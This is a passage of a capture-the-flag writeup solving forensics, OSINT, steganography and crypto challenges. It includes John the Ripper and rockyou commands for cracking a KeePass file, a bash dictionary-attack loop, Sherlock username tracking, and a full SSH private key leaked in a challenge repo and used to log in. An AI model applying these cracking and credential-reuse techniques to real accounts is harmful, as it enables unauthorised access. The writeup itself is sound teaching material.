```bashkeepass2john easy_keesy > kpjohn --wordlist=/usr/share/wordlists/rockyou.txt -format:keepass kp```by doing that we get that the password for the file is monkeys, if we try using it in KeeWeb we are given access to the database and we get the flag:
**Resources:*** file man page: https://linux.die.net/man/1/file* KeePass: https://en.wikipedia.org/wiki/KeePass* KeeWeb: https://keeweb.info/* rockyou.txt: https://wiki.skullsecurity.org/Passwords* John the Ripper: https://tools.kali.org/password-attacks/john* cryptographic hash function (CHF): https://en.wikipedia.org/wiki/Cryptographic_hash_function
## Peter RabbitLittle Peter Rabbit had a fly upon his nose, and he flipped it and he flapped it and it flew away!
Download the file below.\[peter.png](assets//images//peter.png)
**Post CTF Writeup**
**flag{ohhhpietwastherabbit}**
**Solution:** With the challenge we are given the following PNG image:
this is actually an esoteric programming language called piet, named after the artist Piet Mondrian, we can use an interpreter to execute the script (I linked the one I used in the resources), by doing so we get the flag:
**Resources:*** Piet: https://www.dangermouse.net/esoteric/piet.html* Esoteric Programming Language: https://en.wikipedia.org/wiki/Esoteric_programming_language* Piet online interpreter: https://www.bertnase.de/npiet/npiet-execute.php
## PangThis file does not open!
Download the file below.
[pang](assets//files//pang)
**flag{wham_bam_thank_you_for_the_flag_maam}**
**Solution:** With the challenge we get a unknown file, we can use the file command to see that this is a PNG image, but it seems we can't open the image in an image viewer, so we can guess that the image is corrupted, we can verify that by using a tool called pngcheck:
The tool tells us that there is an CRC error in the IHDR chunk, the IHDR is the first chunk in a PNG image and the CRC value is a value stored for every chunk in the image to verify the authenticity of the data (I explained more about CRC and IHDR in my writeup for the challenges in RACTF 2020 listed in the resources).\We can fix the image by changing value of the CRC, I prefer to do it using an hex viewer so we can have a clear understanding of the data, the changes are marked in red:
and by saving the modified file and viewing it again we get the flag:
**Resources:*** pngcheck man page: https://man.cx/pngcheck(1)* PNG file format specification: http://www.libpng.org/pub/png/spec/1.2/PNG-Contents.html* RACTF 2020 writeup for stego challenges: https://github.com/W3rni0/RACTF_2020#steg--forensics* HxD: https://mh-nexus.de/en/hxd/
***# OSINT
## Time KeeperThere is some interesting stuff on this website. Or at least, I thought there was...
Connect here:\https://apporima.com/
**JCTF{the_wayback_machine}**
**Solution:** We are given a url of a site with the challenge, as the challenge suggests we need to look at older versions of the site, the current version is:
we can use a site called Wayback Machine (linked in resources) to view older versions of sites, it seems that there is only one older version of the site from the 18th of april, and there is a snapshot of the index page:
link to the snapshot:`https://web.archive.org/web/20200418214642/https://apporima.com/`
You can see that the first blog post from the older version can't be found in the current version, furthermore it suggests that the flag is in the web server of the site under /flag.txt, trying to view the file in the current version gives us 404 error, but if we try to view older version of it in the the wayback machine we get the flag:
**Resources:*** Wayback Machine: https://archive.org/web/
## New Years ResolutionThis year, I resolve to not use old and deprecated nameserver technologies!
Connect here: jh2i.com
**flag{next_year_i_wont_use_spf}**
**Solution:** We can infer from the name of the challenge and the description that it has something to do with nameservers, nameserver are servers which handle resolving human-readable identifiers to numberical identifiers, in the case of web server, nameserver handle providing responses to queries on domain names, usually converting urls to IP addresses but not always, we can view this responses using the dig command, in our case we want to view all the type of responses availiable (the more the merrier), we can do this by writing ANY after the command, the full command is:
`dig jh2i.com ANY`
and we have our flag in the output of the command:
**Resources:*** Name server: https://en.wikipedia.org/wiki/Name_server* DNS protocol: https://tools.ietf.org/html/rfc1034* dig man tool: https://linux.die.net/man/1/dig
## Finsta
This time we have a username. Can you track down `NahamConTron`?
**flag{i_feel_like_that_was_too_easy}**
**Solution:** In this challenge we need to track down a username, luckily there is a tool called Sherlock that does just that, it searches popular sites such as GitHub, Twitter, Instagram and etc. for an account with the given username, and returns a list to the profiles, we can run it using the following command:
`python3 sherlock NahamConTron`
and the commands returns the following list of accounts:
```https://www.github.com/NahamConTronhttps://www.instagram.com/NahamConTronhttps://www.liveleak.com/c/NahamConTronhttps://www.meetme.com/NahamConTronhttps://forum.redsun.tf/members/?username=NahamConTronhttps://www.twitter.com/NahamConTronTotal Websites Username Detected On : 6```
by looking at the instegram account we can find our flag at the accout description:
**Resources:*** Sherlock: https://github.com/sherlock-project/sherlock
## Tron
NahamConTron is up to more shenanigans. Find his server.
**flag{nahamcontron_is_on_the_grid}**
**Solution:** Taking a look back at the list Sherlock returned in the previous challenge we can see that there is an account in github with this username, let's take a look at it:
there are 2 repositories for the user:
the second one is not very helpful:
but the first one has some interesting files:
the first file to pop into view is the .bash_history file, it contains the command history of a user and can reveal sensitive information about the user activity, in our case it contains the following line:```bashssh -i config/id_rsa [email protected] -p 50033```so we now know the user has connected to a server using the SSH protocol (Secure Shell protocol) with an SSH private key, and we also know that the key is in a config folder .... interesting, maybe it is the same folder as the one in the repo?
yeah it is!, the private key is:
```-----BEGIN OPENSSH PRIVATE KEY-----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-----END OPENSSH PRIVATE KEY-----```
and we can connect to the server, using the same command, and in the server we find our flag:
***# Steganography
## KstegThis must be a typo.... it was kust one letter away!
Download the file below.
[luke.jpg](assets//images//luke.jpg)
**flag{yeast_bit_steganography_oops_another_typo}**
**Solution:** With the challenge we get the following JPEG image:
We can infer by the challenge name and the challenge description that we need to use Jsteg (link in the resources), this is a type of tool for hiding data in the least significant bit (LSB) of the bytes in the image, this image is actually an image of the creator of the tool (whose name is luke), I only succeeded in using the tool by running the main.go script that's in jsteg/cmd/jsteg using the following command:
**Resources:*** Jsteg: https://github.com/lukechampine/jsteg
## DohDoh! Stupid steganography...
**Note, this flag is not in the usual format.**
Download the file below.
[doh.jpg](assets//images//doh.jpg)
**JCTF{an_annoyed_grunt}**
**Solution:** With the challenge we get the following JPEG image:
because this is a stego challenge one of the first thing I do is to check if there are files embedded in the image using binwalk and steghide, luckily steghide comes to use and finds a text file in the image which actually contains the flag:
**Resources:*** Steghide: http://steghide.sourceforge.net/* binwalk man page: https://manpages.debian.org/stretch/binwalk/binwalk.1.en.html
## Beep BoopThat must be a really long phone number... right?
Download the file below.
[flag.wav](assets//files//flag.wav)
**flag{do_you_speak_the_beep_boop}**
**Solution:** Now we are given for a change a WAV file (Wave audio file), in it we can hear key presses of a phone, this is actually DTMF (dual tone multi frequency) which were used to signal to the phone company that a specific key was pressed and they have quite a lot of history with respect to hacking, we can actually decipher this tones using a tool called multimon-ng or using the web tool listed below, this will give us the following code:
```46327402297754110981468069185383422945309689772058551073955248013949155635325
```we can execute the following command to extract the number:
`multimon-ng -t wav -a DTMF flag.wav | grep -o "[0-9]+" | tr -d "\n"`
I tried a lot of ways to get the flag from this number and eventually figured out that you need to convert the numbers from decimal format to hex and then from hex to ascii, or alternatively use long_to_bytes from the pycryptodome module, by doing so we get the flag:
**Resources:*** DTMF: https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling* multimon-ng: https://tools.kali.org/wireless-attacks/multimon-ng* Web DTMF decoder: http://dialabc.com/sound/detect/index.html* long_to_bytes: https://pycryptodome.readthedocs.io/en/latest/src/util/util.html#Crypto.Util.number.long_to_bytes
## SnowflakeFrosty the Snowman is just made up of a lot of snowflakes. Which is the right one?
Note, this flag is not in the usual format.
Download the file below.\[frostythesnowman.txt](assets//files//frostythesnowman.txt)
**JCTF{gemmy_spinning_snowflake}**
**Solution:** We are given a text file with the challenge, if we look at the file we can't see anything weird:```Frosty the snowman was a jolly happy soulWith a corncob pipe and a button noseAnd two eyes made out of coalFrosty the snowman is a fairy tale, they sayHe was made of snow but the children knowHow he came to life one dayThere must have been some magic inThat old silk hat they foundFor when they placed it on his headHe began to dance aroundOh, Frosty the snowman
```
but if we open the file in Notepad++ and turn on the option the show special symbols we can now see that something is off with the file:
these are tabs and spaces, and this type of steganography is actually SNOW (Steganographic Nature Of Whitespace), it is a type of whitespace steganography which uses Huffman encoding to compress a message and hide it in the whitespaces, we can use stegsnow tools to reveal the message but it seems that it doesn't work:
After a bit of trial and error I discovered that it is password protected, so I wrote a simple bash script which reads the passwords from rockyou.txt line by line and try to decrypt the data, this is a dictionary attack, and a simple one at that (I explained more about this type of attacks in the writeup for Easy Keesy):
```bashfile=rockyou.txtwhile read -r linedo printf "\n$line " stegsnow -C -Q -p "$line" frostythesnowman.txtdone < $file```
by using this simple bruteforce script we get that the password is ilovejohn (don't we all) and we get the flag (I redirected the script output to a file and then grepped for braces pattern):
**Resources:*** SNOW: http://www.darkside.com.au/snow/* stegsnow man page: http://manpages.ubuntu.com/manpages/bionic/man1/stegsnow.1.html
## My ApologiesNothing witty to say here... just that I am sorry.
Note, this flag is not in the usual format.
Download the file below.\[apologies.txt](assets//files//apologies.txt)
**flag_i_am_so_sorry_steg_sucks**
**Solution:** We again get a txt file with the challenge, now we can easily notice that something off with the message:
```Tuｒｎs out the sｔｅganｏgrａｐhⅰc tｅcｈｎｉｑuｅ ｗe wｅｒｅ
ｕsiｎg dⅰｄｎ'ｔ rｅalｌy mａｋe
mｕcｈ ｓense.．. ｂｕｔ we ｋｅpｔ it aｎyｗａy． Oh well!```This is actually an Homoglyphs Steganography, a type of steganography which uses unicode encoding to hide a message, we can use the link in the resources to reveal the flag:
**Resources:** * Twitter Secret Messages: http://holloway.co.nz/steg/
## Dead SwapThere is a flag in my swap!
Download the file below.\[deadswap](assets//files//deadswap)
**Post CTF Writeup**
**flag{what_are_you_doing_in_my_swap}**
**Solution:** With the challenge we are given a file from an unknown type, with can infer from the challenge title and description that this is a swap file, without getting into details, swap files are files saved in the hard drives to be used as an extension to the memory, when a computer needs to save some data on the memory for quick access and doesnt have a place for it the computer moves a chunk of the data stored on the memory to the hard drive (usually the least used chunk) and overwrites this chunk in the memory with the data, this is actually really not important for this challenge, by using xxd on the file it seems that we only have \xff bytes:
but by grepping for everything but \xff bytes we can see thet there are \xfe bytes too:
during the CTF I tried using binary by mapping 1 and 0 to f and e but the solution is actually to map 1 and 0 to fe and ff, this will give us a binary string, encoding the string to ascii we get the flag in reverse, so I wrote a one-liner to do all that (and it's amazing):
`xxd deadswap | grep -v "ffff ffff ffff ffff ffff ffff ffff ffff" | cut -d " " -f 2-10 | sed "s/ff/0/g" | sed "s/fe/1/g" | tr -d " \n" | python3 -c "import binascii; print(binascii.unhexlify('%x' % int(input(),2)));" | rev`
the one-liner prints the hexdump of the file, greps for lines which contains interesting data, cut only the columns with the hex data, replaces ff and fe with 0 and 1 (using sed), removes new-lines, convert the data from binary to ascii using python and reverses the string, and in action:
**Resources:*** Swap file: https://www.computerhope.com/jargon/s/swapfile.htm
## WalkmanDo you hear the flag? Maybe if you walk through it one step at a time.
Download the file below.\[wazaa.wav](assets//files//wazaa.wav)
**Post CTF Writeup**
**flag{do_that_bit_again}**
**Solution:** We are given a WAV audio file with the challenge, I personally hate steganography that is related to audio, if it is not spectogram and wavsteg can't find something I just quit...but I'm a completionist, so I'll cover that as well, we need to use a tool called wav-steg-py which is listed in the resources using this command to extract the flag:
`python3 wav-steg.py -r -s wazaaa.wav -o a -n 1 -b 1000`
in action:
this tool uses the least significant bit to hide data and extract hidden data (which wavsteg also do so i'm not sure why it didn't work with it), it's quite common to hide data in the LSB of the file so this type of tools are really handy.
**Resources:*** wav-steg-py: https://github.com/pavanchhatpar/wav-steg-py
## Old SchoolDid Dade Murphy do this?
Note, this flag is not in the usual format
Download the file below.\[hackers.bmp](assets//images//hackers.bmp)
**Post CTF Writeup**
**JCTF{at_least_the_movie_is_older_than_this_software}**
**Solution:** With the challenge we are given a bitmap (bmp) file:
bmp format is a quite old file format and rarely used today as its compression algorithm is really not good and rarely supported so it's not very efficient in space to save images as bmp files, especially if you consider the image quality nowadays, the flag is again hidden in the least significant bits of the image and again I tried checking that during the CTF and got nothing, a smarter approach is to use zsteg, which checks all the available channels and even checks the most significant bit for hidden data, we can get the flag using the following command:
`zsteg -a hackers.bmp`
and in action:
***# Cryptography
## DocxorMy friend gave me a copy of his homework the other day... I think he encrypted it or something?? My computer won't open it, but he said the password is only four characters long...
Download the file below.\[homework](assets//files//homework)
**flag{xor_is_not_for_security}**
**Solution:** We get an unknown file with the challenge, obviously from the challenge description and challenge name we know that the file is xored and that the key is of length 4, if we look at the hex dump of the file we can notice this reoccurring pattern of bytes `\x5a\x41\x99\xbb` :
furthermore if we analyze the frequency of the bytes in the file we get the following graph where the peaks are in \x5a, \x41, \x99 and \xbb:
but if we look at a regular PNG file or Zip file we get the following bytes frequency:
we can notice that regularly the \x00 byte is the most frequent, so if the key is xorred with the data all of the \x00 bytes will be mapped to the bytes of the key.
so we can infer that key is `\x5a\x41\x99\xbb`, plugging the file into cyberchef in xorring the data with the key gives us the following zip file:
[xorred_homework](assets//files//xorred_homework)
this is actually not a zip file but a docx file by the folders in it (there are a lot of file types which are actually zip) if we open the file using Microsoft word or Libreoffice we get the flag:
**Resources:*** Xor: https://en.wikipedia.org/wiki/Exclusive_or* Frequency analysis: https://en.wikipedia.org/wiki/Frequency_analysis* An example to some of the file types which are actually zip: https://www.quora.com/Which-file-types-are-really-ZIP-or-other-compressed-packages
## HomecookedI cannot get this to decrypt!
Download the file below.\[decrypt.py](assets//files//decrypt.py)
**flag{pR1m3s_4re_co0ler_Wh3n_pal1nDr0miC}**
**Solution:** Now we get with the challenge a python script:
```python 3import base64num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def a(num): if (num > 1): for i in range(2,num): if (num % i) == 0: return False break return True else: return False
def b(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(count < len(cipher)): if (a(num)): if (b(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```
this script is used for decrypting the cipher but it doesn't seem to work well:
it somewhat stops printing at this point but still runs, we can guess by that the code is inefficient, we can try to understand what the script does to figure out how to make it more efficient, we can see that the script decode the ciphertext from base64 to bytes, then for each byte in the ciphertext it tries to find a value of next value for num such that both functions a and b returns a boolean value of True, then xors that value with the value of the byte and prints the result, it continues likes that for the succeeding bytes while continuously increasing the value of num by one, but, by the 13th byte the value of num is jumped to 50000 and by the 26th byte the value of num is jumped to 500000.
Now let's look at the functions, a checks if there are no numbers bigger than 2 and smaller than the input that can divide it without a remainder, so a checks if the input is prime.The function b checks if the input is equal to itself in reverse so b checks if the input is a palindrome.a return True if the number is prime and b checks if the number is a palindrome, so the values that are xorred with the bytes of the cipher are palindromic primes
if we take a second look at the function a we can see that it is very inefficient as it checks for all the numbers that are smaller than the input if they can divide it without a remainder, we can replace it with the primality test in the sympy module, which uses an efficient method (Rabin-Miller Strong Pseudoprime Test), in the end we get the less obfuscated following script:
```python 3import base64import sympy
num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA="
def prime(num): return sympy.isprime(num)
def palindrome(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False
cipher = base64.b64decode(cipher_b64).decode().split(",")
while(count < len(cipher)): if (prime(num)): if (palindrome(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1
print()```and by running this more efficient script we get the flag in a reasonable time:
## TwinningThese numbers wore the same shirt! LOL, #TWINNING!
Connect with:\`nc jh2i.com 50013`
**flag{thats_the_twinning_pin_to_win}**
**Solution:** When we connect to server given we the challenge we are greeted with the following:
we can guess that this is an RSA encryption, I explained more about how RSA works in my writeup for RACTF 2020:
> ... RSA is a public key cipher, which means that there are two keys, one that is public which is used to encrypt data, and one that is private which is used to decrypt data, obviously there is some sort of connection between the keys but it is hard to reveal the private key from the public keys (and in this case vice versa), specifically in RSA in order to find the private key we need to solve the integer factorization problem, which is thought to be in NP/P (this is not important for the challenge), we will call our public key e and our private key d, they posses the following attribute - d multiply by e modulo the value of (p-1) * (q-1) which we will name from now phi, is equal to 1, we will call d the modular multiplicative inverse of e and e the modular multiplicative inverse of d, furthermore if we take a plaintext message pt and raise it to the power of d and then to the power of e modulo the value of p * q, which we will name n and will be commonly given to us instead of q and p, we will get pt again (to understand why it is needed to delve into modern algebra, if n is smaller than pt then obviously we will not get pt), now with that in mind we can talk about the cipher, encryption in this cipher is raising the plaintext pt to the power of the public key e mod the value of n, similarly, decryption is raising the ciphertext to the power of d mod n...
and I explained why it works and how we can break the cipher:
>...for that we need to talk about factors, factors are numbers which can be divided only by 1 and himself (we are only talking about whole numbers), we have discovered that there are infinitely many factors and that we can represent any number as the multiplication of factors, but, we haven't discovered an efficient way to find out which factors make up a number, and some will even argue that there isn't an efficient way to do that (P vs. NP and all that), which means that if we take a big number, it will take days, months and even years to find out the factors which makes it, but, we have discovered efficient ways to find factors, so if I find 2 factors, which are favorably big, I multiply them and post the result on my feed to the public, it will take a lot of time for people to discover the factors that make up my number. But, and a big but, if they have a database of numbers and the factors that make them up they can easily find the factors for each numbers I will post, and as I explained before, if we can the factors we can easily calculate phi and consequently calculate d, the private key of RSA, and break the cipher, right now there are databases (listed below) with have the factors to all the numbers up to 60 digits (if I remember correctly), which is a lot but not enough to break modern RSA encryptions, but if we look at the challenge's parameters, we can see that n is awfully small, small enough that it most be in some databases...
if we search for the value of n in factorDB, a database for the factors of numbers, we can find factors for the value of n given to us:
now we can write a small script which calculates phi, finds d the modular inverse for e modulo phi and raise the ciphertext to the power of d (or be a script kiddie and use the RSA module):
```python 3from Crypto.Util.number import inverse
p = 1222229q = 1222231e = 65537ct = 348041806368n = 1493846172899
phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(plain)
```and by running this script we get that the PIN is 3274 and by giving the PIN to the server we get the flag:
I guess that the challenge name and description is joking about the proximity of the primes...
## Ooo-la-laUwu, wow! Those numbers are fine!
Download the file below.\[prompt.txt](assets//files//ooolala.txt)
**flag{ooo_la_la_those_are_sexy_primes}**
**Solution:** With the challenge we are given a text file, the text file contains the following:
```N = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091e = 65537c = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983```
So this is another RSA challenge, we can again try to find the factors that make up the value of N, we can use factorDB again:
and we have the factors, now let's recycle the script from the last challenge now with the new parameters,also now we need to convert the plaintext to ascii encoded characters, we can use the function long_to_bytes from pycryptodome for that:
```python 3from Crypto.Util.number import inverse, long_to_bytes
p = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428207q = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428213e = 65537ct = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983n = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091
phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```and by running the script we get the flag:
## Unvreakable VaseAh shoot, I dropped this data and now it's all squished and flat. Can you make any sense of this?
Download the file below.\[prompt.txt](assets//files//vase.txt)
**Post CTF Writeup**
**flag{does_this_even_count_as_cryptooo}**
**Solution:** We this challenge we are given a text file with the following content:
```zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=```
this seems to be base64 encoding, but if you try to decode it from base64 to ascii you don't get much:```ÎlaÏ{dokóÇzèk.ßÏ.ån_co{îuÿas_crypv.oo}```
I didn't actually managed to solve this challenge by myself during the CTF thinking it is a combination between rail cipher and base64 but actually that is just a base64 encoding where all the upper cased letters were lowered, we can try going over all combination of lower case and upper case for all the characters in the string but it will take two to the power of the length of the string, which is 2 to the power of 52 at most and at least 2 to the power of 40 if we exclude numbers and symbol, which is still a lot.\But, we can do something else, base64 is using characters to represents the numbers from 0 to 63, if we'll encode one letter from base64 to binary we get a binary string of length 6 bits, but each ascii character take 8 bits to encode, so if we want to find the smallest ascii substring that decodes to a base64 string without padding we'll need to find a lowest common multiple (LCM) value, for those numbers the LCM is 24, and s0 every 24/8 = 3 ascii characters are encoded to 24/6 = 4 base64 characters without padding and if we will split our ciphertext to blocks of 4 characters and try every possible combination of upper case and lower case on every character in each block until we get a readable substring (preferably of the flag which very likely though not guaranteed) we'll need to try at most 2 to the power of 4 multiplied by the number of blocks for every block, in out case `(2 ** 4) * (52 / 4) = (2 ** 4) * 12` which is a lot less then what we had before, for that I wrote the following script which goes through every block in the ciphertext and tries all the possible combinations until the ascii strings decoded from the block are printable (in the range from space \x20 to tilde \x7e):
```python 3import base64from string import printable
cipher = list('zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=')
for i in range(0,len(cipher),4): for j in range(2 ** 4): curr_byte = cipher[i:i+4].copy() string_index = int(i/4*3) for k in range(len(curr_byte)): if j % (2 ** (k + 1)) >= 2 ** k: curr_byte[k] = curr_byte[k].upper() new_cipher = cipher[:i] + curr_byte + cipher[i+4:] max_char = chr(max(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) min_char = chr(min(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) if min_char in printable and max_char in printable: cipher[i:i+4] = curr_byte break print(base64.b64decode(''.join(cipher)))```
and by running this script we get the flag:
**Resources:*** I used this writeup just to discover the cipher although it seems that he solved just it like me with a way better script: https://deut-erium.github.io/WriteUps/nahamconCTF/crypto/Unvreakable%20Vase/* Least common multiple: https://en.wikipedia.org/wiki/Least_common_multiple
## DecemberThis is my December...
Download the file below.\[source.py](assets//files//source.py) [ciphertext](assets//files//ciphertext)
**flag{this_is_all_i_need}**
**Solution:** With the challenge we get the following python 3 script:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('flag.txt', 'rb') as handle: flag = handle.read()
padding_size = len(flag) + (8 - ( len(flag) % 8 ))flag = flag.ljust(padding_size, b'\x00')
with open('key', 'rb') as handle: key = handle.read().strip()
iv = "13371337"des = DES.new(key, DES.MODE_OFB, iv)ct = des.encrypt(flag)
with open('ciphertext','wb') as handle: handle.write(ct)```
and the ciphertext:
```Ö¢oåÇ\"àT?^N?@]XõêiùÔ?1÷U?WETR^DˆžbÿÑ\*á?^V?AAVCç¤nÿÌ?Iô]RTLE[ZDÝ£yÉÃ?/ÍXl]RTWN7```
We can see from the script that it uses DES, DES (Data Encryption Standard) is a type of symmetric cipher that was used in the 80s and the 90s as the standard cipher replaced by AES in the following years, it was invented by IBM with the help of the NSA (yeah that NSA) and in the 90s people have discovered ways to crack the cipher in a matter of hours (22 hours and 15 minutes to be precise).\This cipher also has a lot of weaknesses, one of those are the existence of weak keys, decryption and encryption with this keys have the same effect and so encrypting some data twice with the same weak key is equivalent to decrypting the encryption and the ciphertext is equal to the original plaintext.
we can also notice that the cipher uses OFB mode of operation, in this mode the plaintext is split to blocks of 8 bytes and for each block of plaintext the mode encrypts the encryption of the previous block (in the case of the first block this mode encrypts IV) and xors the new encryption with the plaintext, in a visual representation:
and in a formal representation:
we can now notice the following attribute of using weak keys in this mode of operation:
in other words, for every block in an even position we get that the encryption with a weak key is equal to xorring IV with the plaintext, so the plaintext for block in an even position is equal to the ciphertext xorred with IV, let's try that on our ciphertext, we can do that using the following code:
```python 3from Crypto.Util.strxor import strxor
data = open("ciphertext",'rb').read()IV = "13371337"
print(strxor(data,(IV * len(data))[0:len(data)].encode("utf-8")))```and we get:
it worked!, now we know that our key is a weak key, we can find a list of weak keys to DES on google and bruteforce them until we get a complete text (there are less than 100 weak and semi-weak keys), I listed all the weak keys in the following file:
[weak DES keys](assets//files//keys)
and wrote this script to crack the ciphertext:
```python 3#!/usr/bin/env python
from Crypto.Cipher import DES
with open('ciphertext','rb') as handle: ct = handle.read()
with open('keys', 'r') as handle: keys = handle.read().replace("\n"," ").split() keys = [ bytes(bytearray.fromhex(key.strip())) for key in keys]
